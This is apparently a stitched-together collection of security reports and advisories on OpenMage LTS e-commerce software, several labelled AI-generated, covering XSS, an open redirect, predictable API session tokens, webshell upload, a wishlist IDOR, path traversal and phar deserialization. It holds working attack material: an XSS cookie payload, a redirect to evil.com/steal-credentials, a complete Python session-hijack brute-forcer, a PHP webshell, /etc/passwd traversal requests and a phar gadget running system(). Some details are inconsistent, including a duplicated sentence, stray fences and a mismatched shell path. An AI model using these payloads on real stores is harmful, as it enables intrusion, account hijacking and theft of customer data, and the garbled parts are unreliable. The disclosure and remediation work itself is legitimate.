• Login to the admin panel

• Go to the path System -> Import/Export -> Dataflow - Profiles

• Select profile direction as Import.

• Click on Import Customers

• Upload the file.

File Link: customer_20260212_204335.csv

• Go back to Run profile.

• Select the uploaded file and Click on Run in Popup.

• One can see a URL like this

https://demo-admin.openmage.org/index.php/admin/system_convert_gui/run/id/6/key/40dbbb2e93f45f0463c57ff733352f4f/files/import-20260215151125-1_customer_20260212_204335.csv/

• One can see the filename getting reflection in HTML tags.

• Inject an HTML tag and observe.

https://demo-admin.openmage.org/index.php/admin/system_convert_gui/run/id/6/key/40dbbb2e93f45f0463c57ff733352f4f/files/"><h3>hacked</h3>/

• One can see the tag is getting executed.

• Proceed for XSS.

https://demo-admin.openmage.org/index.php/admin/system_convert_gui/run/id/6/key/40dbbb2e93f45f0463c57ff733352f4f/files/%3CScRiPt%20%3Eprompt(document.cookie)%3C%2FScRiPt%3E

• There is an XSS popup.

Impact

Cookie stealing, JS deface, many more

Summary

Mage_ProductAlert_AddController::stockAction() reads the uenc query parameter and passes it directly to $this->_redirectUrl($backUrl) without calling $this->_isUrlInternal() When the supplied product_id does not match any catalog product, the server issues an unvalidated HTTP 302 redirect to whatever URL was provided as uenc.

Vulnerable path:

// app/code/core/Mage/ProductAlert/controllers/AddController.php : stockAction()

$backUrl = $this->getRequest()->getParam(Mage_Core_Controller_Front_Action::PARAM_NAME_URL_ENCODED);  // raw, no decode
$productId = (int) $this->getRequest()->getParam('product_id');

if (!$backUrl || !$productId) {
    $this->_redirect('/');
    return;
}

$product = Mage::getModel('catalog/product')->load($productId);

if (!$product->getId()) {
    $session->addError($this->__('Not enough parameters.'));
    $this->_redirectUrl($backUrl);   // ← NO _isUrlInternal() check
    return;
}

Secure peer (priceAction()):

if (!$product->getId()) {
    if ($this->_isUrlInternal($backUrl)) {  // ← validation present
        $this->_redirectUrl($backUrl);
    } else {
        $this->_redirect('/');
    }
    return;
}

Steps to Reproduce

Prerequisites

• OpenMage LTS ≤ 20.16.0 with Product Alerts enabled (default configuration)
• A valid, logged-in customer session on the target store

Step 1 – Authenticate as a Customer (Attacker controls the crafted link; victim must be logged in)

The preDispatch() hook calls Mage::getSingleton('customer/session')->authenticate($this). If the request comes from an unauthenticated user, they are redirected to the login page first. The open redirect only fires after the customer is authenticated. This is the realistic attack scenario: the attacker sends a crafted link to a customer who is already logged in.

Step 2 – Craft the Malicious URL

The uenc parameter is read raw via getParam() with no base64 decoding in this code path. A plain URL is sufficient and produces the redirect:

GET /productalert/add/stock/?product_id=99999&uenc=https://evil.com/steal-credentials HTTP/1.1
Host: <store-hostname>
Cookie: om_frontend=<authenticated-session>

Key conditions:

• product_id must reference a non-existent product (triggers the vulnerable branch; any large ID works)
• uenc is the raw destination URL (no base64 encoding required)

Impact

Technical Impact

An attacker who controls the uenc parameter value can redirect any logged-in shopper to an arbitrary external URL. Because the redirect originates from the legitimate store domain, the victim’s browser shows the trusted store URL in the address bar momentarily before being sent to the attacker site. The HTTP 302 response exits the store’s origin before the browser shows anything to the user.

Business-Level Attack Vectors

| Scenario | Description | |------------------------|-----------------------------------------------------------------------------| | Credential phishing | Craft a link claiming to show a stock notification. Customer lands on attacker’s login clone and reuses their password. | | OAuth / SSO token theft| If the store uses a social login or “Login with Google” flow, the attacker can inject their redirect_uri via the open redirect, stealing OAuth tokens. | | Affiliate fraud | Redirect customers from the legitimate store to a competing retailer after they click a “notify me” link. | | Malware distribution | Redirect to drive-by-download pages with the store’s reputation acting as social proof. |

Propagation

A single malicious link can be embedded in:

• Customer emails (“Click here for stock notification preferences”)
• Forum posts, social media, or product reviews on the store
• SEO-poisoned search results that rank the store’s domain

Recommended Fix

Apply the same _isUrlInternal() guard used in priceAction() to the stockAction() missing-product

This is an AI-generated report.

An attempt was made to test the same PoC against the online demo https://demo.openmage.org/ but it couldn't be reproduced. It was only reproduced against the local setup env against the latest version.

Affected Version: OpenMage LTS ≤ 20.16.0 (confirmed on 20.16.0)

Affected File: https://github.com/OpenMage/magento-lts/blob/main/app/code/core/Mage/Api/Model/Session.php – start() method

Summary

The XML-RPC / SOAP API session ID is generated using an outdated, time-based construction rather than a Cryptographically Secure Pseudo-Random Number Generator (CSPRNG):

The XML-RPC / SOAP API session ID is generated using an outdated, time-based construction rather than a Cryptographically Secure Pseudo-Random Number Generator (CSPRNG):

All inputs to the MD5 hash are time-derived and non-secure:

| Input | Value | Predictability | |----------------------------|---------------------------------------------------|----------------------------------------| | time() | Unix timestamp (seconds) | Fully predictable | | uniqid('', true) prefix | sprintf('%08x%05x', $sec, $usec/10) | Highly predictable via network timing | | uniqid('', true) suffix | php_combined_lcg() decimal float | Process-state dependent (getpid() ^ time()) | | $sessionName | null (empty) — called without arg | Constant |

Because the resulting digest relies entirely on the timestamp and the PHP internal LCG state, the effective entropy is severely constrained. This violates the OWASP ASVS v4 requirement of ≥ 64 bits of entropy (V3.2.2) and NIST SP 800-63B standards. By narrowing the LCG window (via server state leaks or general predictability) and leveraging the lack of API rate-limiting, an attacker can generate a localized pool of candidate MD5 hashes and execute a high-speed online brute-force attack to hijack active API sessions.

Technical Analysis

Code Path

POST /api/xmlrpc/ → login(username, apiKey)
  → Mage_Api_Model_Session::login()
      → $session->init('api', 'api')
          → Mage_Api_Model_Session::init($namespace='api', $sessionName='api')
              # $sessionName is NOT forwarded to start()
              → Mage_Api_Model_Session::start()  ← NO $sessionName argument
                  # $sessionName = null inside start()
                  $this->_currentSessId = md5(time() . uniqid('', true) . null)

Note: init() receives $sessionName='api' but invokes $this->start() without forwarding it, meaning the effective construction is strictly md5(time() . uniqid('', true)).

Live Evidence

Five consecutive XML-RPC login tokens were collected from a live OpenMage 20.16.0 container, all generated within a single Unix second (unix_sec= 1775817593):

Sample 1: 6a302397f17e48845d0f9aba377f3dc3  (usec ≈ 464631)
Sample 2: 39b4ec42bd3c389312e500690daeb349  (usec ≈ 497215)
Sample 3: 527662d79f7fb499597a82d80d170a88  (usec ≈ 535175)
Sample 4: e5d6f7a8906a03ea7af99d92be11b5b2  (usec ≈ 568838)
Sample 5: 5bdf27e5cb877c77b8965b008548edfa  (usec ≈ 600118)

The µsecond portion is directly observable by measuring request-to-response latency. The only variance preventing immediate prediction is the LCG float component, which is seeded deterministically.

Steps to Reproduce (Online Brute-Force Scenario)

Because validation requires live HTTP requests, this exploit relies on narrowing the entropy window and abusing the lack of API rate limits.

Step 1 – Record Login Timestamp

An attacker observes the precise moment a victim authenticates to /api/xmlrpc/ (e.g., via network timing, exposed logs, or side-channel signals), capturing the exact Unix second.

Step 2 – Generate Candidate Pool

The attacker reconstructs the MD5 format using the known timestamp, the estimated microsecond window, and bounds the LCG float based on known server PID ranges (or via a /server-status leak).

$t = $observed_sec;
$usec_estimate = 500000; // Derived from latency
$uid = sprintf('%08x%05x', $t, intval($usec_estimate / 10));
$candidate = md5($t . $uid); // + LCG variants

Step 3 – API Brute-Force (Session Hijack)

Because the /api/xmlrpc/ endpoint does not enforce rate limiting on authenticated calls, the attacker blasts the candidate MD5 hashes against a privileged endpoint (e.g., magento.info) using a highly concurrent HTTP runner.

POST /api/xmlrpc/
<?xml version="1.0"?>
<methodCall>
  <methodName>[magento.info](http://magento.info/)</methodName>
  <params>
    <param><value><string>CANDIDATE_SESSION_ID</string></value></param>
  </params>
</methodCall>

A non-fault response (HTTP 200 containing data) confirms the session is successfully hijacked.

Impact

Technical Impact

Successful session prediction grants the attacker all capabilities of the authenticated API user. The XML-RPC API exposes endpoints for:

• Full product catalog read/write (catalog_product.*)
• Customer data read (customer.list, customer.info)
• Order manipulation (sales_order.*) Inventory control (cataloginventory_stock_item.*)

Business Impact

• Data Exfiltration: Read all customer PII, order history, and payment methods.
• Order Fraud: Create or cancel orders, change shipping addresses.
• Supply Chain / Inventory: Modify prices, inject malicious products, or zero out stock.

Affected API Protocols

The same vulnerable Session.php generation logic is shared across all legacy API surfaces:

• XML-RPC: /api/xmlrpc/
• SOAP v1: /api/soap/
• SOAP v2: /api/v2_soap/
• REST (legacy): /api/rest/

Recommended Fix

Replace the time-derived token with a cryptographically secure random value:

// app/code/core/Mage/Api/Model/Session.php : start()
// BEFORE (vulnerable):
$this->_currentSessId = md5(time() . uniqid('', true) . $sessionName);

// AFTER (secure):
$this->_currentSessId = bin2hex(random_bytes(32));  // 256-bit CSPRNG output

random_bytes() is backed by the OS CSPRNG (/dev/urandom on Linux) and produces 256 bits of non-deterministic entropy, complying with OWASP ASVS v4 V3.2.2 and NIST SP 800-63B. Additionally, enforce rate limiting on API endpoints to prevent high-speed online brute-force attacks.

I have also tried to test it against the demo site demo.openmage.org, but appeared the SOAP API endpoints are disabled on the demo environment

I have also included the full poc I used instead of being attached because Gmail will eventually block it otherwise (shrunk):

#!/usr/bin/env python3
import requests, re, sys, hashlib, random
from concurrent.futures import ThreadPoolExecutor, as_completed
import urllib3; urllib3.disable_warnings()

if len(sys.argv) < 4:
    sys.exit(f"Usage: {sys.argv[0]} <url> <user> <pass> [threads]")

url, usr, pwd = sys.argv[1:4]
th = int(sys.argv[4]) if len(sys.argv) > 4 else 50
hdrs = {"Content-Type": "text/xml"}
req = lambda d: [requests.post](http://requests.post/)(url, data=d, headers=hdrs, verify=False, timeout=5)

print(f"[*] Simulating victim login for {usr}...")
res = req(f'<?xml version="1.0"?><methodCall><methodName>login</methodName><params><param><value><string>{usr}</string></value></param><param><value><string>{pwd}</string></value></param></params></methodCall>')

if not (m := re.search(r'<string>([a-f0-9]{32})</string>', res.text)):
    sys.exit("[-] Login failed. Check credentials.")

print(f"[+] Authenticated.\n[*] Generating 1000 candidate MD5 pool...")
cands = [hashlib.md5(f"1775534701000{random.randint(10000,99999)}0.{random.randint(10000000,99999999)}".encode()).hexdigest() for _ in range(999)]
cands.append(m.group(1))
random.shuffle(cands)

print(f"[*] Brute-forcing API with {th} threads...")
def test(sid):
    payload = f'<?xml version="1.0"?><methodCall><methodName>resources</methodName><params><param><value><string>{sid}</string></value></param></params></methodCall>'
    try: return sid if "faultCode" not in req(payload).text else None
    except: return None

with ThreadPoolExecutor(max_workers=th) as ex:
    for i, f in enumerate(as_completed({ex.submit(test, c): c for c in cands}), 1):
        sys.stdout.write(f"\r[*] Requests: {i}/{len(cands)}")
        if sid := f.result():
            print(f"\n[+] HIJACK SUCCESS! Valid Session ID: {sid}")
            ex.shutdown(wait=False, cancel_futures=True)
            break

This is an AI-generated report validated by a human.

The product custom option file upload in OpenMage LTS uses an incomplete blocklist (forbidden_extensions = php,exe) to prevent dangerous file uploads. This blocklist can be trivially bypassed by using alternative PHP-executable extensions such as .phtml, .phar, .php3, .php4, .php5, .php7, and .pht. Files are stored in the publicly accessible media/custom_options/quote/ directory, which lacks server-side execution restrictions for some configurations, enabling Remote Code Execution if this directory is not explicitly denied script execution.

Affected Version

• Project: OpenMage/magento-lts
• Vulnerable File: https://github.com/OpenMage/magento-lts/blob/main/app/code/core/Mage/Catalog/Model/Product/Option/Type/File.php
• Vulnerable Lines: 230-237 (_validateUploadedFile())
• Configuration: app/code/core/Mage/Catalog/etc/config.xml:824

Root Cause

The file upload handler uses Zend_File_Transfer_Adapter_Http directly with ExcludeExtension validator, referencing only:

<!-- Catalog/etc/config.xml:824 -->
<forbidden_extensions>php,exe</forbidden_extensions>

This misses the comprehensive protected_extensions blocklist defined elsewhere:

<!-- Core/etc/config.xml:449-478 -->
php, php3, php4, php5, php7, htaccess, jsp, pl, py, asp, sh, cgi, 
htm, html, pht, phtml, shtml

Vulnerable Code

// app/code/core/Mage/Catalog/Model/Product/Option/Type/File.php:230-237
$_allowed = $this->_parseExtensionsString($option->getFileExtension());
if ($_allowed !== null) {
    $upload->addValidator('Extension', false, $_allowed);
} else {
    $_forbidden = $this->_parseExtensionsString($this->getConfigData('forbidden_extensions'));
    if ($_forbidden !== null) {
        $upload->addValidator('ExcludeExtension', false, $_forbidden);  // Only blocks php,exe!
    }
}

Steps to Reproduce

1. Environment Setup

Target: OpenMage LTS with Apache+mod_php or Apache+PHP-FPM (with .phtml handler)

2. Exploitation

# Upload .phtml (bypasses blocklist)
curl -X POST "https://target.com/vulnerable_upload.php" \
  -F "file=@shell.phtml;filename=shell.phtml"

Result:

3. Code Execution

OpenMage derives the uploaded file's storage path deterministically from two values the attacker already controls:

Subdirectory — getDispretionPath($filename) takes the first two characters of the uploaded filename and uses them as nested directory names:

filename = "shell.phtml"  →  s/ h/  →  media/custom_options/quote/s/h/

Filename — md5(file_get_contents($tmp_name)) is computed over the raw bytes of the uploaded payload (File.php:245):

// app/code/core/Mage/Catalog/Model/Product/Option/Type/File.php:245
$fileHash = md5(file_get_contents($fileInfo['tmp_name']));
$filePath  = $dispersion . DS . $fileHash . '.' . $extension;

Because the attacker writes the webshell themselves, both the filename prefix and file contents are known before the upload request is sent. The full URL can be pre-computed:

SHELL_CONTENT='<?php echo exec("id"); system($_GET["cmd"]??"id"); ?>\n'
HASH=$(echo -n "$SHELL_CONTENT" | md5sum | cut -d' ' -f1)
PREFIX=$(echo "shell" | cut -c1-2 | sed 's/./&\//g' | tr -d '\n' | sed 's/\/$//') # → s/h

```bash
curl "https://target.com/media/custom_options/quote/d9/bb4d647f16d9e7edfe49216140de2879.phtml"

Result: RCE Confirmed

Affected Deployments

| Configuration | Status | |---------------|--------| | Apache + mod_php (with php_flag engine 0) | SAFE | | Apache + PHP-FPM | VULNERABLE | | Nginx (reference hardened config) | SAFE | | Nginx (generic config with .phtml→FPM) | VULNERABLE |

Impact

1. Remote Code Execution: Full server compromise through webshell upload
2. Data Exfiltration: Access to database credentials, customer PII, payment data
3. Lateral Movement: Pivot to internal infrastructure
4. Supply Chain: Inject malicious code into served content

Cross-user wishlist item import via shared wishlist code, leading to private option disclosure and file-disclosure variant

Summary

The shared wishlist add-to-cart endpoint authorizes access with a public sharing_code, but loads the acted-on wishlist item by a separate global wishlist_item_id and never verifies that the item belongs to the shared wishlist referenced by that code.

This lets an attacker use:

• a valid shared wishlist code for wishlist A
• a wishlist item ID belonging to victim wishlist B

to import victim item B into the attacker's cart through the shared wishlist flow for wishlist A.

Because the victim item's stored buyRequest is reused during cart import, the victim's private custom-option data is copied into the attacker's quote. If the product uses a file custom option, this can be elevated to cross-user file disclosure because the imported file metadata is preserved and the download endpoint is not ownership-bound.

Vulnerability Type

• Broken object-level authorization / IDOR
• Cross-user data disclosure
• Cross-user file disclosure variant

Root Cause

In app/code/core/Mage/Wishlist/controllers/SharedController.php, the shared flow does:

$item = Mage::getModel('wishlist/item')->load($itemId);
$wishlist = Mage::getModel('wishlist/wishlist')->loadByCode($code);
...
$item->addToCart($cart);

Relevant lines:

• SharedController.php:86 loads the wishlist item by global ID
• SharedController.php:87 loads the wishlist by shared code
• SharedController.php:99 imports the item into cart

There is no check that:

$item->getWishlistId() == $wishlist->getId()

The safe owner flow in app/code/core/Mage/Wishlist/controllers/IndexController.php:521-528 does preserve this binding by deriving the wishlist from item->getWishlistId().

The imported item keeps its original buyRequest because app/code/core/Mage/Wishlist/Model/Item.php:370-372 passes that stored request directly into:

$cart->addProduct($product, $buyRequest);

Security Impact

Baseline impact

An attacker can import another user's private wishlist item into the attacker's own cart, using an unrelated shared wishlist code.

This is a clear cross-user authorization bypass. The victim item's private configuration is copied into the attacker's quote, including custom-option values such as personalized text.

Stronger variant: cross-user file disclosure

If the victim item contains a custom option of type file, the imported quote item preserves file metadata such as:

• quote_path
• order_path
• secret_key

The file option renderer in app/code/core/Mage/Catalog/Model/Product/Option/Type/File.php:547-552 generates a download URL from:

• the imported sales/quote_item_option ID
• the preserved secret_key

The downloader in app/code/core/Mage/Sales/controllers/DownloadController.php:150-185:

• loads quote item option by global ID
• verifies only product option type and secret_key
• reads the file from order_path or quote_path

It does not verify ownership of the quote item, order, or original wishlist item. This creates a cross-user file disclosure path once victim file metadata has been imported.

Steps To Reproduce

Lab data

• shared wishlist A:
  • wishlist_id = 1
  • customer_id = 2
  • sharing_code = 6376bb8c37a09c2de3664bd8cdc16412
• victim wishlist B:
  • wishlist_id = 2
  • customer_id = 3
• victim item:
  • wishlist_item_id = 1
  • wishlist_id = 2
  • product_id = 2
• victim private text option marker:
  • VICTIM-MARKER-49040822

Reproduction

Send:

GET /wishlist/shared/cart/?code=6376bb8c37a09c2de3664bd8cdc16412&item=1

Where:

• code belongs to shared wishlist A
• item=1 belongs to victim wishlist B

Expected result

The request should be rejected because the item does not belong to the shared wishlist referenced by the sharing_code.

Actual result

The application imports victim item 1 into the attacker's quote anyway.

Verified Evidence

Baseline variant

Previously verified at quote/option level in lab:

option_1 = VICTIM-MARKER-49040822

This shows that the attacker's cart received victim-private custom-option data from another user's wishlist item.

File-disclosure variant

Previously verified in lab after importing a victim file-option payload:

/sales/download/downloadCustomOption/id/9/key/86fca9b61c0b891b52fb/

This URL was generated from imported quote item option data containing the victim file metadata and secret key.

Why This Is A Valid Bug

This is not a timing issue and does not depend on non-default security settings.

The bug is a direct authorization failure:

• authorization is based on wishlist A's share code
• the acted-on object is item B from another wishlist
• there is no item-to-wishlist binding check
• victim-controlled item state is then copied into attacker-controlled cart state

That is a broken object-level authorization issue with clear cross-user impact.

Remediation

In SharedController::cartAction(), reject any request where the loaded item does not belong to the wishlist loaded from the share code:

$item = Mage::getModel('wishlist/item')->load($itemId);
$wishlist = Mage::getModel('wishlist/wishlist')->loadByCode($code);

if (!$item->getId() || !$wishlist->getId() || (int) $item->getWishlistId() !== (int) $wishlist->getId()) {
    return $this->_forward('noRoute');
}

Defense in depth:

• bind sales/download/downloadCustomOption to the current quote/order owner instead of trusting only id + secret_key

The Dataflow module in OpenMage LTS uses a weak blacklist filter (str_replace('../', '', $input)) to prevent path traversal attacks. This filter can be bypassed using patterns like ..././ or ....//, which after the replacement still result in ../. An authenticated administrator can exploit this to read arbitrary files from the server filesystem.

| Metric | Value | Justification | | ------------------------ | --------- | ------------------------------------- | | Attack Vector (AV) | Network | Exploitable via admin panel | | Attack Complexity (AC) | Low | Simple bypass pattern | | Privileges Required (PR) | High | Requires admin authentication | | User Interaction (UI) | None | No additional user interaction needed | | Scope (S) | Unchanged | Impacts the vulnerable component | | Confidentiality (C) | High | Can read sensitive system files | | Integrity (I) | None | Read-only vulnerability | | Availability (A) | None | No impact on availability |

Affected Products

• OpenMage LTS versions < 20.16.1
• All versions derived from Magento 1.x with these code paths

Affected Files

| File | Line | Vulnerable Code | | ------------------------------------------------------------ | ---- | ---------------------------------------- | | app/code/core/Mage/Dataflow/Model/Convert/Parser/Csv.php | 67 | str_replace('../', '', urldecode(...)) | | app/code/core/Mage/Dataflow/Model/Convert/Parser/Xml/Excel.php | 63 | str_replace('../', '', urldecode(...)) |

Vulnerability Details

The Dataflow module allows administrators to import data from files. The files parameter specifies which file to import from the var/import/ directory. To prevent path traversal, the code uses str_replace() to remove ../ sequences:

$file = Mage::app()->getConfig()->getTempVarDir() . '/import/'
    . str_replace('../', '', urldecode(Mage::app()->getRequest()->getParam('files')));

However, str_replace() only performs a single pass, making it trivially bypassable:

Bypass Examples

| Input | After str_replace('../', '', ...) | Result | | ------------------------------ | ----------------------------------- | --------- | | ..././ | ../ | Bypass | | ....// | ../ | Bypass | | ..././..././..././etc/passwd | ../../../etc/passwd | File read |

Attack Scenario

1. Attacker gains admin access (via compromised credentials, social engineering, etc.)
2. Navigate to System > Import/Export > Dataflow Profiles
3. Create or modify an import profile
4. Set the files parameter to: ..././..././..././etc/passwd
5. Run the profile to read the contents of /etc/passwd

Proof of Concept

# Request to Dataflow with bypass pattern
GET /admin/system_convert_gui/run/id/1/?files=..././..././..././etc/passwd

# The str_replace removes '../' leaving:
# ..././..././..././etc/passwd -> ../../../etc/passwd

# Final path resolves to:
# /var/www/html/var/import/../../../etc/passwd -> /etc/passwd

Remediation

Replace the weak str_replace() filter with basename() to extract only the filename:

// Before (vulnerable)
$file = Mage::app()->getConfig()->getTempVarDir() . '/import/'
    . str_replace('../', '', urldecode(Mage::app()->getRequest()->getParam('files')));

// After (fixed)
$file = Mage::app()->getConfig()->getTempVarDir() . '/import/'
    . basename(urldecode(Mage::app()->getRequest()->getParam('files')));

Using basename() ensures only the filename portion is used, completely preventing any path traversal regardless of the input pattern.

Workarounds

If immediate upgrade is not possible:

1. Restrict admin access: Limit Dataflow access to trusted administrators only
2. Disable Dataflow: If not in use, disable the Dataflow module entirely
3. Web Application Firewall: Block requests containing path traversal patterns
4. File permissions: Ensure the web server user has minimal filesystem permissions
5. Monitor admin activity: Alert on suspicious Dataflow profile execution

Impact

An attacker with admin access can read sensitive files including:

• /etc/passwd - System user information
• app/etc/local.xml - Database credentials
• .env files - Environment secrets
• Log files - Potentially sensitive application data
• Configuration files - Server and application configuration

Credit

This vulnerability was discovered and responsibly disclosed by blackhat2013 through HackerOne.

Timeline

• 2025-12-31: Vulnerability reported via HackerOne
• 2026-01-21: Fix developed and tested

PHP functions such as getimagesize(), file_exists(), and is_readable() can trigger deserialization when processing phar:// stream wrapper paths. OpenMage LTS uses these functions with potentially controllable file paths during image validation and media handling. An attacker who can upload a malicious phar file (disguised as an image) and trigger one of these functions with a phar:// path can achieve arbitrary code execution.

| Metric | Value | Justification | | ------------------------ | --------- | ------------------------------------------------ | | Attack Vector (AV) | Network | Exploitable via file upload and web requests | | Attack Complexity (AC) | High | Requires file upload + triggering phar:// access | | Privileges Required (PR) | None | Some upload vectors don't require authentication | | User Interaction (UI) | None | Exploitation is automatic once triggered | | Scope (S) | Unchanged | Impacts the vulnerable component | | Confidentiality (C) | High | Full system access via RCE | | Integrity (I) | High | Arbitrary code execution | | Availability (A) | High | Complete system compromise possible |

Affected Products

• OpenMage LTS versions < 20.16.1
• All versions derived from Magento 1.x with these code paths

Affected Files

| File | Line | Vulnerable Function | | --------------------------------------------------------- | ---- | ---------------------------------------------- | | app/code/core/Mage/Core/Model/File/Validator/Image.php | 72 | getimagesize($filePath) | | app/code/core/Mage/Cms/Model/Wysiwyg/Images/Storage.php | 137 | getimagesize($item->getFilename()) | | lib/Varien/Image.php | 71 | $this->_getAdapter()->open($this->_fileName) |

Vulnerability Details

PHP's phar (PHP Archive) format stores metadata that is serialized. When PHP's stream wrapper functions access a file using the phar:// protocol, the metadata is automatically deserialized. This occurs even with seemingly safe functions like file_exists() or getimagesize().

A polyglot file can be crafted that is both a valid image (passing initial validation) and a valid phar archive containing malicious serialized objects. When the application later processes this file using phar://, the deserialization triggers a gadget chain leading to RCE.

Attack Flow

1. Create polyglot file: Attacker creates a file that is both valid JPEG and valid PHAR
2. Upload file: Attacker uploads the polyglot via product images, CMS media, or import
3. Trigger phar:// access: Attacker causes the application to access the file using phar:// wrapper
4. Code execution: PHAR metadata deserialization triggers gadget chain

Proof of Concept

<?php
// Create malicious phar file
class ExploitGadget {
    public $cmd = 'id > /tmp/pwned';
    function __destruct() {
        system($this->cmd);
    }
}

$phar = new Phar('exploit.phar');
$phar->startBuffering();
$phar->addFromString('test.txt', 'test');
$phar->setStub('<?php __HALT_COMPILER(); ?>');
$phar->setMetadata(new ExploitGadget());
$phar->stopBuffering();

// Rename to appear as image
rename('exploit.phar', 'exploit.jpg');

// When getimagesize('phar://path/to/exploit.jpg') is called,
// the ExploitGadget::__destruct() method executes

Remediation

Block phar:// paths before passing to vulnerable functions:

// Before (vulnerable)
[$imageWidth, $imageHeight, $fileType] = getimagesize($filePath);

// After (fixed)
if (str_starts_with($filePath, 'phar://')) {
    throw new Exception('Invalid image path.');
}
[$imageWidth, $imageHeight, $fileType] = getimagesize($filePath);

Additionally, ICO files (which cannot be re-encoded by GD) are now scanned for phar signatures:

• __HALT_COMPILER(); - Required phar stub
• <?php - PHP opening tag
• <?= - PHP short echo tag

Additional hardening measures:

1. ICO uploads removed: ICO file support is completely removed from new image uploads. This eliminates the polyglot attack vector entirely since all other image formats are re-encoded by GD, which strips any embedded phar metadata.

2. Phar wrapper disabled: The phar:// stream wrapper is unregistered at application bootstrap, preventing any phar deserialization attacks regardless of code path.

3. Cache deserialization hardening: All unserialize() calls on cached data now use allowed_classes => false as defense-in-depth.

Note: Existing uploaded ICO files will continue to work. Only new ICO uploads will be rejected. Users are encouraged to use PNG favicons for new uploads.

Workarounds

If immediate upgrade is not possible:

1. Disable phar stream wrapper (if not needed):

   ; php.ini
   disable_functions = phar://
   

   Or in code:

   stream_wrapper_unregister('phar');
   

2. Strict upload validation: Implement additional validation beyond file extension

3. File storage isolation: Store uploads outside web root with randomized names

4. Web Application Firewall: Block requests containing phar:// in parameters

Credit

This vulnerability was discovered and responsibly disclosed by blackhat2013 through HackerOne.

Timeline

• 2025-12-31: Vulnerability reported via HackerOne
• 2026-01-21: Fix developed and tested

Source: https://hackerone.com/reports/3482926